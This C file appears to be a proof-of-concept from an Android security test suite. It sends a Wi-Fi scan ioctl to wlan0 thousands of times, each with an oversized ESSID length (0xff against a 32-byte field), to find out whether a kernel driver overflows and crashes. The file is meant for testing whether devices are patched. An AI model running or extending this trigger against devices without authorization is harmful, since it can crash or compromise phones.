| /** |
| * Copyright (C) 2017 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| #include <android/log.h> |
| #include <dirent.h> |
| #include <dlfcn.h> |
| #include <errno.h> |
| #include <fcntl.h> |
| #include <jni.h> |
| #include <limits.h> |
| #include <net/if.h> |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <string.h> |
| #include <sys/ioctl.h> |
| #include <sys/socket.h> |
| #include <sys/stat.h> |
| #include <sys/types.h> |
| #include <sys/types.h> |
| #include <unistd.h> |
| #define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */ |
| #define AID_NET_RAW 3004 /* can create raw INET sockets */ |
| #define AID_NET_ADMIN 3005 |
| #define SIOCSIWPRIV 0x8B0C |
| #define SIOCGIWNAME 0x8B01 |
| #define SIOCGIWRANGE 0x8B0B |
| #define SIOCSIWSCAN 0x8B18 |
| #define SIOCSIWSPY 0x8B10 |
| #define IW_ESSID_MAX_SIZE 32 |
| #define IW_MAX_FREQUENCIES 32 |
| #define SIR_MAC_MAX_SSID_LENGTH 32 |
| #define IW_SCAN_THIS_ESSID 0x0002 |
| |
| typedef int __s32; |
| typedef unsigned char __u8; |
| typedef unsigned short __u16; |
| |
| struct iw_param { |
| __s32 value; /* The value of the parameter itself */ |
| __u8 fixed; /* Hardware should not use auto select */ |
| __u8 disabled; /* Disable the feature */ |
| __u16 flags; /* Various specifc flags (if any) */ |
| }; |
| |
| struct iw_point { |
| void *pointer; /* Pointer to the data (in user space) */ |
| __u16 length; /* number of fields or size in bytes */ |
| __u16 flags; /* Optional params */ |
| }; |
| |
| struct iw_quality { |
| __u8 qual; /* link quality (%retries, SNR, |
| %missed beacons or better...) */ |
| __u8 level; /* signal level (dBm) */ |
| __u8 noise; /* noise level (dBm) */ |
| __u8 updated; /* Flags to know if updated */ |
| }; |
| |
| struct iw_freq { |
| __s32 m; /* Mantissa */ |
| __s16 e; /* Exponent */ |
| __u8 i; /* List index (when in range struct) */ |
| __u8 flags; /* Flags (fixed/auto) */ |
| }; |
| |
| union iwreq_data { |
| /* Config - generic */ |
| char name[IFNAMSIZ]; |
| /* Name : used to verify the presence of wireless extensions. |
| * Name of the protocol/provider... */ |
| struct iw_point essid; /* Extended network name */ |
| struct iw_param nwid; /* network id (or domain - the cell) */ |
| struct iw_freq freq; /* frequency or channel : |
| * 0-1000 = channel |
| * > 1000 = frequency in Hz */ |
| struct iw_param sens; /* signal level threshold */ |
| struct iw_param bitrate; /* default bit rate */ |
| struct iw_param txpower; /* default transmit power */ |
| struct iw_param rts; /* RTS threshold threshold */ |
| struct iw_param frag; /* Fragmentation threshold */ |
| __u32 mode; /* Operation mode */ |
| struct iw_param retry; /* Retry limits & lifetime */ |
| struct iw_point encoding; /* Encoding stuff : tokens */ |
| struct iw_param power; /* PM duration/timeout */ |
| struct iw_quality qual; /* Quality part of statistics */ |
| struct sockaddr ap_addr; /* Access point address */ |
| struct sockaddr addr; /* Destination address (hw/mac) */ |
| struct iw_param param; /* Other small parameters */ |
| struct iw_point data; /* Other large parameters */ |
| }; |
| |
| struct iwreq { |
| union { |
| char ifrn_name[IFNAMSIZ]; |
| } ifr_ifrn; |
| union iwreq_data u; |
| }; |
| |
| struct iw_scan_req { |
| __u8 scan_type; |
| __u8 essid_len; |
| __u8 num_channels; |
| __u8 flags; |
| struct sockaddr bssid; |
| __u8 essid[IW_ESSID_MAX_SIZE]; |
| __u32 min_channel_time; /* in TU */ |
| __u32 max_channel_time; /* in TU */ |
| struct iw_freq channel_list[IW_MAX_FREQUENCIES]; |
| }; |
| |
| int main(void) { |
| int fd; |
| int ret = -2; |
| struct iwreq prIwReq; |
| int i = 0; |
| struct iw_scan_req *scan_req; |
| if (getuid() != 0) |
| return -1; |
| gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN}; |
| setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups); |
| setuid(2000); |
| fd = socket(AF_INET, SOCK_STREAM, 0); |
| if (fd == -1) { |
| perror("[-] socket failed!\n"); |
| return -1; |
| } |
| strncpy(prIwReq.ifr_name, "wlan0", IFNAMSIZ); |
| prIwReq.ifr_name[IFNAMSIZ - 1] = '\0'; |
| scan_req = (struct iw_scan_req *)malloc(sizeof(struct iw_scan_req) + 0xff); |
| memset(scan_req, 0xff, sizeof(struct iw_scan_req) + 0xff); |
| scan_req->essid_len = 0xff; |
| prIwReq.u.data.length = sizeof(struct iw_scan_req); |
| prIwReq.u.data.pointer = scan_req; |
| |
| prIwReq.u.data.flags = IW_SCAN_THIS_ESSID; |
| for (i = 0; i < 0x1000; ++i) { |
| errno = 0; |
| ret = ioctl(fd, SIOCSIWSCAN, &prIwReq); |
| printf(" try %d times, %s crashed ? \n", i, strerror(errno)); |
| } |
| return 0; |
| } |